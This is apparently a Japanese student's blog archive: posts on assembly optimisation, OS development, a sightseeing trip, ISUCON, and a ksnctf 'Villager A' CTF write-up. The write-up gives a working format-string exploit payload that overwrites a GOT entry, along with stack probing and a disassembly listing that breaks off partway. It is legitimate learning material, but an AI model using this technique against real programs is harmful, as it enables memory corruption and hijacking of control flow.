世界一速いナベアツに挑む①
この記事はプロコンゼミ(SPC同好会) その2 Advent Calendar 2018 - Adventarの14日目の記事です。
導入
このネタは、我が部活が誇るあかこう先輩のネタのパクリ継承となります。
元の記事は削除されてしまったようなので、参考になりそうなリンクを貼っておきます。
https://akakou-slide.github.io/nabeatsu/ github.com
ところで、ナベアツというのは皆さんご存知の世界のナベアツこと桂三度さんのネタのことです。
わからない人のために...
例えばAくんという人が居るとします。Aくんは自然数を数え上げていきます。 数え上げる自然数が3の倍数、もしくは3がつく数のときにおかしな声をだします(このことを、バカになるという)。
注意
- この記事の内容を実際に試したことにより、システムにどのような損害が起きたとしても筆者は責任を負いかねます。試す際には自己責任で宜しくおねがいします。
- 世界一速いナベアツを名乗っていますが、これは少し誇張した表現ですので訂正します。この記事では、x86_64上で動作するLinux 4.19において最も高速に動作するナベアツを目指します。
高速化のポイント
ソースコードはMITライセンスということで、ありがたく高速化のポイントの解説として、使わせていただきましょう。
MIT License
Copyright (c) 2017 akakou
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
一応ライセンス表示。
ということで、一旦あかこう先輩が書いたソースコードを全部のせます。
; nabeatsu.s ; 最強のNABEATSU☆を目指す ; コードセクション section .text global _start ; _startを指名 ; スタート _start: ; カウント用レジスタの初期化 mov r12, 1 ; ボケるか判定用カウントレジスタ(普通にカウントする) mov r13, 1 ; 表示用カウントレジスタ(BCDでカウントする) ; 3の倍数かをチェックする CHECK_THREE_MULTIPLE: xor rdx, rdx ; r12を3で割る mov rax, r12 ; r12/3(rbx) = rax...rdx mov rbx, 3 div rbx cmp rdx, 0 ; 除算の余りと0を比較する je SET_BOKE_FMT ; 0ならprint_abnomalにジャンプする mov r9, r12 ; r12(ボケるか判定用カウントレジスタ)をr9(3を含む数値か判定用レジスタ)にコピー READY_CHECK_IN_THREE: mov r8, r13 ; 3のつく数字化をチェックする CHECK_IN_THREE: mov rbx, 0xF ; rbxに0xFを格納 and rbx, r8 ; r8と0xFに論理和をかけることで、16進数での1桁分取り出し、rbxに格納 shr r8, 4 ; 16進数におけるBCDでの1桁分右にシフトする。 cmp rbx, 3 ; シフトの余りと3を比較する je SET_BOKE_FMT ; 余りが0ならprint_abnomalにジャンプする cmp r8, 0 ; 除算のあまりと0を比較し jne CHECK_IN_THREE ; 余りが0ならprint_abnomalにジャンプする ; 普通のフォーマット(数値のみを表示)をrbpに格納する。 SET_NOMAL_FORMAT: mov rbp, normal_message ; rbpに数値のみ表示するフォーマットを格納する ; 次の処理の準備 & `SET_NOMAL_FORMAT`からのジャンプバック用ラベル READY_TO_SET_FORMAT_LOOP: mov rax, r13 ; rax(今回表示する値が入ってるレジスタ)にr13(表示用カウントレジスタ)の値をコピー mov r15, 15 ; r15に15(最大このプログラムの耐えられる最大桁数) add r15, rbp ; rbpの値(指定したフォーマットの文字列)と最大値を足した値をr15(次に格納する文字のアドレス先)に格納 ; r13から1文字ずつ取り出す SET_FORMAT_LOOP: dec r15 ; r15を1つ減算する mov rbx, 0xF ; rbxに0xFを格納 and rbx, rax ; raxと0xFに論理和をかけることで、16進数での1桁分取り出し、rbxに格納 add rbx, 0x30 ; rbxに格納された1桁の数値に0x30を足すことで、ASCIIの文字のデータにする mov [r15], bl ; bl(rbxから1バイト分のデータ)をr15の持つアドレス先に書き込む shr rax, 4 ; 16進数におけるBCDでの1桁分右にシフトする。 jnz SET_FORMAT_LOOP ; raxが0になるまでSET_FORMAT_LOOPを回し続ける ; 文字列を表示 PRINT: mov r14, rcx ; rcxの値をr14に退避 mov rcx, rbp ; メッセージのアドレス mov rdx, 17 ; メッセージの長さ mov rbx, 1 ; 標準出力を指定 mov rax, 4 ; システムコール番号 (sys_write) int 0x80 ; 割り込み mov rcx, r14 ; r14に退避させた値をrcxに戻す ; カウントをする COUNT: inc r12 ; r12に1加算 inc r13 ; r13に1加算 mov r9, r13 ; r9(繰り上がれてないか確認用レジスタ)にr13(表示用カウントレジスタ)をコピー mov r11, 0xF ; r11に0xFを格納 ; 表示用カウントレジスタ(BCD)の桁上がりチェック CARRY_UP: ; 各桁に0xAが含まれていないか確認し、含まれていたら`CARRY_UP_BCD`を呼ぶ mov r10, 0xF ; r10に0xFを格納 and r10, r9 ; r10にr9の右から1桁分を格納させる cmp r10, 0xA ; r10(上の処理で取った1桁分)と0xA(BCDではありえない値)かを確認 je CARRY_UP_BCD ; r10が0xAなら繰り上がりをする ; 二重繰り上がりが起きたときの処理 cmp r10, 0xB ; r10に0xBが格納されていないかを確認 je CARRY_UP_BCD ; r10が0xBなら繰り上がりをする(0xC以上は理論上ありえない) ; 次のカウント後の処理へジャンプする LOOP_BACK: cmp r12, 1000000 ; 最大カウント回数(100000)とr12(通常カウント)を比較 jne CHECK_THREE_MULTIPLE ; 同じになるまでCHECK_THREE_MULTIPLEに戻る ; 終了処理 FIN: ; プロセス終了 mov rax, 1 ; 返り値を1にする mov rbx, 0 ; 終了ステータスコード int 0x80 ; システムコール ; 表示用カウントレジスタ(BCD)の桁上がり処理 CARRY_UP_BCD: or r13, r11 ; うまく繰り上がれてない値(r13)の、繰り上がれてない部分をすべて二進数の1で埋めて inc r13 ; 1を足す → 強制的に繰り上がらせる or r9, 0xF ; r9(繰り上がれてないか確認用レジスタ)の方も inc r9 ; 繰り上がりしておく(ここで二重繰り上がりの可能性あり) shr r9, 4 ; r9の値を右に1文字分(16進数ひと桁分)シフトする shl r11, 4 ; `CARRY_UP_BCD`で使う対象以下の2進数での桁を1で埋めたもの(マスク)を更新する or r11, 0xF jmp CARRY_UP ; `CARRY_UP`に戻る ; ボケるときのフォーマットをrbpに格納 SET_BOKE_FMT: mov rbp, boke_message ; rbpにボケたときのメッセージフォーマットを格納 jmp READY_TO_SET_FORMAT_LOOP ; `READY_TO_SET_FORMAT_LOOP`にジャンプする(戻る) ; データセクション section .data ; データセクションの定義 boke_message db 0xA, "(BOKE) " ; boke_messageの内容 times 20 db 0x00 normal_message db 0xA, " " ; normal_messageの内容 times 20 db 0x00
では、高速化のポイントを洗い出してみましょう。
システムコール
あかこう先輩のソースコードではシステムコールの呼び出しとして割り込み命令が使われていますが、これはレガシーな方法であり最近のx86では高速システムコールという仕組みが用意されているのでこちらを用いるのが一般的です。 高速システムコールを行う場合、システムコール番号が異なるので気をつけましょう。
; 終了処理 FIN: ; プロセス終了 mov rax, 1 ; 返り値を1にする mov rbx, 0 ; 終了ステータスコード int 0x80 ; システムコール
レガシーなシステムコール呼び出し
FIN: mov rdx, 1 mov rax, 60 syscall
高速システムコール呼び出し
linux, x86_64の場合、以下のテーブルを見ることでシステムコール番号を知ることが出来ます。
ということで、printルーチンとfinルーチンのシステムコールの呼び出し方を変えてみました。まあ、finルーチンは一度しか呼ばれないのであまり効果がないですが。
; 文字列を表示 PRINT: mov r14, rcx ; rcxの値をr14に退避 mov rcx, rbp ; メッセージのアドレス mov rdx, 17 ; メッセージの長さ mov rbx, 1 ; 標準出力を指定 mov rax, 4 ; システムコール番号 (sys_write) int 0x80 ; 割り込み mov rcx, r14 ; r14に退避させた値をrcxに戻す
旧PRINTルーチン
PRINT: mov r14, rcx mov rsi, rbp mov rdx, 17 mov rax, 1 mov rdi, 1 syscall mov rcx, r14
新PRINTルーチン
FINルーチンは上で示した通り。
これらのルーチンを入れ替えて得られる効果はどの程度のものでしょうか。timeコマンドで計ってみます。 システムの状態によって実行時間が多少前後するのでそれぞれ10回計測しました。
./a.out 0.25s user 0.61s system 99% cpu 0.859 total ./a.out 0.20s user 0.67s system 99% cpu 0.867 total ./a.out 0.26s user 0.65s system 97% cpu 0.933 total ./a.out 0.28s user 0.69s system 99% cpu 0.976 total ./a.out 0.27s user 0.65s system 99% cpu 0.926 total ./a.out 0.22s user 0.70s system 99% cpu 0.922 total ./a.out 0.22s user 0.77s system 99% cpu 0.999 total ./a.out 0.25s user 0.67s system 99% cpu 0.916 total ./a.out 0.25s user 0.69s system 99% cpu 0.937 total ./a.out 0.21s user 0.64s system 99% cpu 0.849 total
これが割込みを使ったシステムコール呼び出しの場合。
./a.out 0.14s user 0.62s system 99% cpu 0.770 total ./a.out 0.19s user 0.61s system 99% cpu 0.800 total ./a.out 0.11s user 0.72s system 99% cpu 0.838 total ./a.out 0.15s user 0.70s system 99% cpu 0.856 total ./a.out 0.17s user 0.65s system 99% cpu 0.818 total ./a.out 0.12s user 0.69s system 99% cpu 0.818 total ./a.out 0.11s user 0.73s system 97% cpu 0.869 total ./a.out 0.09s user 0.75s system 99% cpu 0.844 total ./a.out 0.14s user 0.71s system 99% cpu 0.848 total ./a.out 0.12s user 0.71s system 99% cpu 0.832 total
これが高速システムコール呼び出しを使ったシステムコール呼び出しの場合。
結果は一目瞭然ですね。
一応平均値と中央値を出しておきましょう。
打ち込むのが面倒だったので適当にプログラムを書きました。timeのフォーマットなら使えると思うので使いたい方はどうぞ。
#include <iostream> #include <vector> #include <algorithm> using namespace std; int main() { string tmp, user, system; int count = 10; double heikin_user = 0, heikin_sys = 0; vector<double> _user, _sys; for(int i = 0; i < count; ++i) { cin >> tmp >> user >> tmp >> system >> tmp >> tmp >> tmp >> tmp >> tmp; user[4] = '\0'; system[4] = '\0'; _user.push_back(stod(user)); _sys.push_back(stod(system)); } for(auto hoge : _user) { heikin_user += hoge; } heikin_user /= 10.0; for(auto hoge : _sys) { heikin_sys += hoge; } heikin_sys /= 10.0; sort(_user.begin(), _user.end()); sort(_sys.begin(), _sys.end()); cout << "heikin[ user: " << heikin_user << " sys: " << heikin_sys << " ]" << endl; cout << "chuou [ user: " << (_user[4] + _user[5]) / 2.0 << " sys: " << (_sys[4] + _sys[5]) / 2.0 << " ]" << endl; return 0; }
割込みを使ったシステムコール呼び出し heikin[ user: 0.241 sys: 0.674 ] chuou [ user: 0.25 sys: 0.67 ] 高速システムコール呼び出しを使ったシステムコール呼び出し heikin[ user: 0.134 sys: 0.689 ] chuou [ user: 0.13 sys: 0.705 ]
おおー、いい感じです。
除算の高速化
除算は非常にコストのかかる計算です。x86_64にはdiv命令というものがありますが、これは8bit同士の計算だけでも41サイクルもかかってしまいます。
gccはこの問題をどのようにクリアしているのでしょうか。見てみましょう。
#include <stdio.h> int main(void) { for(int i = 0; i < 100; ++i) { int hoge = i / 3; printf("%d\n", hoge); } return 0; }
$ gcc -S hoge.c
.file "hoge.c" .text .section .rodata .LC0: .string "%d\n" .text .globl main .type main, @function main: .LFB0: .cfi_startproc pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 movq %rsp, %rbp .cfi_def_cfa_register 6 subq $16, %rsp movl $0, -4(%rbp) jmp .L2 .L3: movl -4(%rbp), %ecx movl $1431655766, %edx movl %ecx, %eax imull %edx movl %ecx, %eax sarl $31, %eax subl %eax, %edx movl %edx, %eax movl %eax, -4(%rbp) movl -4(%rbp), %eax movl %eax, %esi leaq .LC0(%rip), %rdi movl $0, %eax call printf@PLT addl $1, -4(%rbp) .L2: cmpl $99, -4(%rbp) jle .L3 movl $0, %eax leave .cfi_def_cfa 7, 8 ret .cfi_endproc .LFE0: .size main, .-main .ident "GCC: (GNU) 8.2.1 20180831" .section .note.GNU-stack,"",@progbits
普段intel記法を使っているのでAT&T記法は読みづらい...
注目すべきは以下の部分です。
.L3: movl -4(%rbp), %ecx movl $1431655766, %edx movl %ecx, %eax imull %edx movl %ecx, %eax sarl $31, %eax subl %eax, %edx movl %edx, %eax movl %eax, -4(%rbp) movl -4(%rbp), %eax movl %eax, %esi leaq .LC0(%rip), %rdi movl $0, %eax call printf@PLT addl $1, -4(%rbp)
見ての通りdiv命令は使われずimull命令とsarl命令とsubl命令等によって除算が実現されています。 この原理の基本は以下のとおりです。
まず、前提知識としてビット演算において2nで掛けたり割ったりするのはシフト演算で実現できるため、高速に計算できます。 また、整数同士の掛け算も割り算に比べれば低コストで計算することが出来ます。
これらの知識を元に、除算を以下のように変形します。
は定数なのではコンパイル時に計算することが出来ます。
ですから、実行時に計算するのは整数同士の掛け算(は整数に丸められます)と2nでの割り算だけなのでこれで除算の高速化が出来るわけです。
基本は上の通りですがこれでは誤差が出てしまう可能性があります。ですのでまだ工夫する必要は有るのですがこちらに関しては以下のブログを参考にしていただくとして、ここでは割愛いたします。
疲れてしまったので実装をどうするかについては「世界一速いナベアツに挑む②」で紹介しようと思います。お楽しみに!
参考文献
https://www.agner.org/optimize/instruction_tables.pdf
30日でできる!OS自作入門を始めた[3日目]
今回は、IPLの作成と32ビットモード切り替えの準備、C言語導入が主なテーマ。
IPL
IPL(Inital Program Loader)はその名の通り、初期プログラムのローダー。
まずは、フロッピーの中身をどんどんメモリに展開していきたいわけだが、これにはBIOSのディスクサービスを使う。 BIOSのディスクサービスは、「INT 0x13」で呼び出せる。
http://softwaretechnique.jp/OS_Development/Tips/Bios_Services/disk_services.html
最初の1セクタ(512バイト)は、すでにメモリに展開されているので、2セクタ目から先を読み出していく。
展開先のアドレスはセグメントレジスタを使って指定できる。
はりぼてOSのIPLは、0x8000から0x83FFまでにフロッピーの中身を展開する。0x8000から512バイト、つまり0x81FFまでは1セクタ目を入れるので0x8200から2セクタ目を入れていく。
メモリマップ↓
0x7c00 ---------------------------
Boot Sector
0x7e00 ---------------------------
Free Space
0x8000 ---------------------------
Sector 1
0x8200 ---------------------------
Sector 2
0x8400 ---------------------------
また、フロッピーディスクはたまにうまく読めないことが有るらしい。 このための処理も書く必要が有る。
あとは、フロッピー内のすべてのデータを読み出していく。
フロッピーディスク一枚には80シリンダ、ヘッドが2つ、そして18セクタあり、一つのセクタが512バイトだから、
80 * 2 * 18 * 512 = 1474560byte = 1440KBのデータがある。
そしてフロッピーのデータが展開できるようになったのでOS本体を書いていくことが出来るようになった。
しかし、OSを実行するためにはIPLからOSにジャンプする必要があり、そのためにはどこにジャンプすべきか、すなわちOSがどのアドレスに展開されるのか知る必要が有る。バイナリエディタでharibote.imgを見てみるとファイルの先頭から0x004200番目に配置されていることが分かる。0x8000から展開をしたので、飛ぶべきアドレスは
0x004200 + 0x8000 = 0xC200
である。
これで、いよいよOS本体が実行できるように...!
そして、この本ではOS本体の実行を確認するため画面をグラフィックモードにして色を描画してみるということをする。前回と同じように、BIOSのビデオサービス(0x10)を使ってやればできる。
32ビットモードへの準備
C言語を使うためには、基本的には32ビットモードに切り替える必要が有るので切り替えていく。 ちなみに、32ビットモードに切り替えてしまうとBIOSのサービスは利用できなくなってしまうので、16ビットモードでやるべきことは16ビットモードでやっていく。
画面モードの切り替えは既にやったので、キーボードの状態(シフトやキャピタルロックの設定)をBIOSから取得しておく。 キーボードの状態取得はBIOSのキーボードサービス(0x16)を使えば良い。
ファンクション番号は0x02。出力はリンク先を見ればわかる。ALレジスタに出力されるので、これをメモリにコピーしておけば安心して32ビットモードへ移行できる。
C言語導入
いよいよC言語の導入だ。Harimain()関数をbootpack.cというファイルに書く。アセンブラでしか書けない内容は、naskfunc.nasというファイルに書いて、C言語から関数として呼び出す。
ところで、アセンブラのファイルとC言語のファイルの関連付けについてだが、これは両者をオブジェクトファイルにして、リンクをすれば良い。私は筆者のツールではなくgccやnasmなどの汎用ツールを使って開発しているためリンカスクリプトを指定してやる必要がある。このリンカスクリプトについては、偉大なる先人が公開されていたのでこちらをありがたく使わせてもらった。
https://vanya.jp.net/os/haribote.html
これでおしまい。
江ノ島観光
はじめに
この記事はプロコンゼミ(SPC同好会) その1 Advent Calendar 2018の4日目の記事です!
江ノ島観光
現在放送中のアニメ、「青春ブタ野郎はバニーガール先輩の夢を見ない」の聖地巡礼と試験後の息抜きも兼ねて江ノ島、藤沢方面を散策してきましたので撮った写真と共にご紹介します。
出発
午前中は微分積分とプログラミング言語の試験があったのでそれを受けてから12:10分くらいに学校の校門を出発しました。中央線、横浜線、小田急線、東海道線と乗り継いで藤沢駅に到着したのは2時間後、14:10分くらいのことです。
藤沢駅の北口は青ブタの作中に登場しています。
湘南モノレール
藤沢駅からは、700円で江ノ島とか鎌倉とか藤沢の区間が乗り放題の切符を買って移動しました。 次に向かったのは大船駅。Just Because!で舞台のひとつになっている路線です。 懸垂式のモノレールということで休日なんかに行くと結構混んでいたりするのですが、平日だったので空いていました。
— Δyuk!@hepp0k0 (@heppoko_yuki) 2018年12月3日
江ノ島駅
とりあえず江ノ島駅に到着。ここから青ブタのオープニングに出てくる場所に行くため、江の電で鎌倉高校前へ。 あ、江ノ島駅のこの踏切も聖地ですね。 踏切上で道路が二つに分岐している面白い形の踏切です。 それで、メインはこっち。梓川くんが走ってるところだったと思います。 このバス停も出てましたね。
江ノ島へ
腰越まで歩いて江の電に乗って江ノ島駅へもどりました。 江ノ島駅から江ノ島までは結構距離があります。江ノ島電鉄は江ノ島駅まで乗り入れてくれー!
道中でのツイートです↓
— Δyuk!@hepp0k0 (@heppoko_yuki) 2018年12月3日
液状化 pic.twitter.com/UMLWnnKhBy
— Δyuk!@hepp0k0 (@heppoko_yuki) 2018年12月3日
江ノ島への橋の途中に猫ちゃんもいました。
にゃん pic.twitter.com/xZs73jUP2E
— Δyuk!@hepp0k0 (@heppoko_yuki) 2018年12月3日
ということで江ノ島に到着。
ちょっと登ったところにまた聖地があります。
そういえばこんな旗も立ってました。すごい。
ヲタク pic.twitter.com/07U12XK3S4
— Δyuk!@hepp0k0 (@heppoko_yuki) 2018年12月3日
江ノ島は、知られているように猫ちゃんがいっぱいいて、人類に優しいです。
ということで、歩き疲れてしまったので聖地巡礼はこのあたりで終わりました。
最後、江ノ島駅の写真を。
30日でできる!OS自作入門を始めた[2日目]
半年ぶりの更新...。実は、もう本自体の内容はほとんどやってみたのだけれど、記事の更新が途中でとどまってからもう更新しなくなってしまっていた。
今回更新しようと思ったのは、僕が働かせてもらっている会社で自作OSの勉強会をしようということで、この本をやることになって、また1章から始めたのでせっかくだから復習も兼ねてまた記事の執筆に挑戦しようという志を持ったので。
ということで、久しぶりのOS自作入門スタート。
進行
ORG 0x7c00
ORG 0x7c00は、このプログラムがメモリのどこに読み込まれるかを示す疑似命令。 どうして0x7c00に読み込まれるかについては、以下の記事を見てなるほどなぁ。
https://www.glamenv-septzen.net/en/view/6
linuxのx86のアーキテクチャ依存の実装部分にも、0x7c00の文字がある。 https://github.com/torvalds/linux/blob/master/arch/x86/boot/header.S
そして、FAT12の使用に基づくヘッダがあって...
次にブートローダのプログラム本体。
初期化スべきレジスタを初期化して...
entry: MOV AX,0 MOV SS,AX MOV SP,0x7c00 MOV DS,AX MOV ES,AX
msgのアドレスを、SIに入れて...
そうそう、自分は当初この本をやっていたときに
[SI]
の意味がよく分からなかった記憶があるのだが、これはSIに入っているアドレスのところに有るものを参照する、みたいなものだ。 メモリ参照とか言うらしい。
putloopは文字を1文字ずつ配置するサブルーチンだ。 実行の流れは次のとおりである。
- SIが指すメモリの中身をALに入れる
- SIに1を足して次のアドレスを指すようにする
- ALが0なら、文字列の最後なので比較して0ならfinのルーチンに飛ぶ
- 1文字の表示機能を指定するためAHに0x0eを入れる
- BXにカラーコードの番号を入れる
- 割り込みしてビデオBIOSというものを呼び出す
- putloopのアドレスに戻ってループ
putloopで代入した15というカラーコードだがこれは白色である。 使える色は以下の通り。16ビットだなーってかんじ。 https://en.wikipedia.org/wiki/BIOS_color_attributes
BIOSで使える機能と使い方がまとめられている http://oswiki.osask.jp/?(AT)BIOS
ところで、
INT 0x10
は割り込み命令だが、これで割り込みベクタの0x10番目のアドレスに飛ぶ、という仕組みらしい。 この本を始めた当初は割り込みベクタなんて知らなかったが、もう一つの自作OS本、坂井先生の本を読んで知った。
finルーチンではHLTをループしてCPUを停止させるだけ。
あとはMBRの規格構造に沿って埋めるだけ。
ところで、私はnaskではなくnasmを使ってアセンブルしているのでRESB命令がうまく使えなかった。なので、以下のように改めて書いた。
TIMES 0x1fe-($-$$) DB 0
疑問
entryでなぜSPを0x7c00に初期化するのか。0に初期化するなら分かる気がするが...何か仕様等で決まっているのだろうか。- 上の疑問についてだが、単に0x7c00から配置されるブートローダーの上が空いているので0x7c00に初期化されるというだけだった。考えてみれば、SPを0に初期化するというのは意味がない。スタックは零アドレスに向かって伸びるのだから。
ISUCONで学生2位通過...のはずが再起動でこけてしまって非常に悔しいクギイィ!
昨日、今日とISUCONという大会が開催されていまして、初参加してみたので初陣の記録として記事を書いておきます。
ISUCONとは
ISUCONとは、Iikanjini Speed Up Contestの略でWebアプリケーションを高速化し、予め決められたURLのアクセスに対していくつレスポンスを返せたか、またどのくらいの負荷まで耐えられるか等によってスコアを付けそのスコアで勝敗を決めるコンテストです。
参加チーム
今回僕は、アルバイトとして勤務している会社のCTOとエンジニアの三人で「チーム終活」として参加しました。 二人共色々な面においてお強い方で、僕のようなWeb素人が参加して貢献出来るかは懐疑的なものでしたが、せっかく誘っていただいたのでありがたく参加しました。
やっていた対策
メンバーの誰一人としてISUCONに出たことがなかったので、何をすればいいのかよくわかりませんでしたが、とりあえず過去問を何回か解こうということで、本番の2週間前から2回ほどチームメンバーと集まって過去問演習をしました。
過去問演習とはいっても、実際に過去問環境を立てるのにけっこう手間取ってしまい、ほとんど演習らしいものは出来ませんでしたが、色々見識は深められたと思います。環境構築難しい...
本番の状況
僕たちは、土曜日に出場しました。 今回のお題は、チケット予約サイト?の高速化でした。なかなか出来の良いサイトで、コンテストのためにこんなもの作ってしまうのかーと少し感銘を受けました。
具体的にやったこととしては、開発環境の構築、解析ツール等の導入、ソースコードの最適化、余計なプロセスの殺害、DB鯖とHTTP&アプリ鯖の分散と言った感じです。
複数台のサーバーを渡されるというのが通年の慣例のようですが、上で述べたように初陣だったため知りませんでした。そのため、このサーバーをどう使うか迷いましたが結局DB鯖とHTTP&アプリ鯖の分散に使ったという感じです。
この分散を行うためには、ソースコードの最適化を行う必要がありました。 なぜなら、この分散を行ってしまうととあるページがおそすぎてベンチマーク時にタイムアウトしてしまったからです。
実際にソースコードを覗いてみると、明らかに確信犯的な悪魔実装をしている箇所が見受けられました。
そうしたソースコードの変更等を含め建設的に改善を続けていった結果、最終的に25452というスコアを叩き出すことが出来ました。
このスコアは、学生2位になりえたスコア(後の画像参照)でした。他チームの状況等からして予選通過を確信していた僕達は、「よっしゃ予選通過や」とコンテスト終了30分前に片付けをはじめ、悠々とした態度でいました。
結果
予選敗退。
何度も言いますが、初陣だった私達は再起動試験というものがあることをすっかり忘却してしまっていたのです。 結果、コンテスト終了後の再起動試験で見事コケたらしく予選敗退という結果になってしまいました。
悔しい!!!
これからISUCONに出ようと思っているみなさんも、分かっているとは思いますが、再起動時にこけないか確認しましょう。僕との約束です。
PS: 25452ってスコア、25252だったら矢澤にこ(ガタッ
Villager Aが解けた
この記事は、ksnctfのVillager Aの解法について言及しています。見たくないという方は、ここでお引取りください。 また、私はセキュリティに関しては全くのど素人です。内容の正確性は慎重に検証したつもりですが、間違っていることもあるかと思いますのでご承知おきください。
かねてより、pwnあるいはexploitというものに興味があり、何度かVillager Aに挑戦したりしていたのですが、writeup等を見てみても解法をよく理解できないでいました。今回、SecHack365でご一緒させて頂いているはっぴーのーとさんに色々ご教授いただくことが出来、解法がよく分かってきたのでせっかくなので記事としてアウトプットしておきたいと思った次第です。
私が分からなかった点
私が分からなかったのは、主にFormat String Attackの組み立ての部分です。Villager Aの場合、GOTを書き換えて任意のアドレスにジャンプしたいわけですが、これをやればexploitできるということは分かったものの、その手段はよく分からなかったのです。
解法
最初に、解法を載せておきます。
echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn' | ./q4
これでexploit出来るわけですが、この文字列でどうしてGOTを書き換えられるのかが分からなかったのです。
printf()のフォーマット指定子
printf()には%nというフォーマット指定子があります。これは、いままで出力した文字列のバイト数を、引数に格納するという指定子です。試しに使ってみました。
#include <stdio.h> int main() { int *hoge; printf("hogehoge%n\n", &hoge); printf("%d\n", hoge); return 0; }
これで、hogeが指すメモリ領域に8が入っているはずです。
もちろん*hogeにアドレスを代入してやれば任意のアドレスのメモリ領域に保存することができます(ただし、そのアドレスのメモリ領域が書き込み可能かどうか等は不明)。
ちなみに、%nの前にhをつけてやることで書き込み先のアドレスを何バイトの領域として扱うか操作出来るようです。
指定子 | 書き込まれ方 |
---|---|
%n | アドレスを4バイト領域としてみなし、書き込む |
%hn | アドレスを2バイト領域としてみなし、書き込む |
%hhn | アドレスを1バイト領域としてみなし、書き込む |
%nで一気に書き込むこともできますが、そうすると出力しなくてはならないバイト数が膨大になってしまうことがよくあるので、この手のexploitでは%hhnをよく使うようです。
例えば、0x12345678というアドレスを%nでつくるためには、0x12345678バイト出力しなくてはいけないのでとても膨大ですが、%hhnで4回に分けてしまえば0x78と0x56と0x34と0x12の計0x114バイト出力するだけで済みます。
また、$(ダイレクトパラメータ)というものを使うと、使いたい引数を番号で指定できるようです。
3番目の引数を使いたいなら以下の通りです。
printf("%3$d", 10, 20, 30, 40, 50); // 30
FSAの組み立て
ここまで分かれば、あとは組み立ててみるだけでした。 まずは、printf()で書き込んだ文字列がスタックのどの位置に保存されるか把握しておく必要があるので、q4に対して以下を入力してみます。
echo -e "yuki,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name? Hi, yuki,400,4108c0,8,14,ed3fc4,696b7579,2c78252c,252c7825 Do you want the flag?
「yuki」のASCIIコードを16進数に変換すると「0x79756b69」ですね。リトルエンディアンであることに気をつけながら見ていくと、6番目にあることが分かります。
|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x696b7579| ←arg6(printf()へ入力した文字列はここから入る)
|0x2c78252c| ←arg7
|0x252c7825| ←arg8
|....................|
この情報と、さっきのダイレクトパラメータを組み合わせて使うことができそうですね!
では、次に書き換え先、書き換える対象を確認しておきましょう。 q4をディスアセンブルしてみましょう
objdump -d q4 | less
以下、main関数部分です。
080485b4 <main>: 80485b4: 55 push %ebp 80485b5: 89 e5 mov %esp,%ebp 80485b7: 83 e4 f0 and $0xfffffff0,%esp 80485ba: 81 ec 20 04 00 00 sub $0x420,%esp 80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp) 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax 80485d1: 89 44 24 08 mov %eax,0x8(%esp) 80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80485dc: 00 80485dd: 8d 44 24 18 lea 0x18(%esp),%eax 80485e1: 89 04 24 mov %eax,(%esp) 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp) 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea 0x18(%esp),%eax 80485f9: 89 04 24 mov %eax,(%esp) 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> 8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> 804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp) 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp) 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov 0x8049a04,%eax 804862b: 89 44 24 08 mov %eax,0x8(%esp) 804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 8048636: 00 8048637: 8d 44 24 18 lea 0x18(%esp),%eax 804863b: 89 04 24 mov %eax,(%esp) 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test %eax,%eax 8048645: 0f 94 c0 sete %al 8048648: 84 c0 test %al,%al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov $0x0,%eax 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp) 804865d: 08 804865e: 8d 44 24 18 lea 0x18(%esp),%eax 8048662: 89 04 24 mov %eax,(%esp) 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test %eax,%eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp) 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov $0x0,%eax 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax ;<main+0xcd> 8048688: 85 c0 test %eax,%eax 804868a: 0f 95 c0 setne %al 804868d: 84 c0 test %al,%al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp) 8048698: 08 8048699: c7 04 24 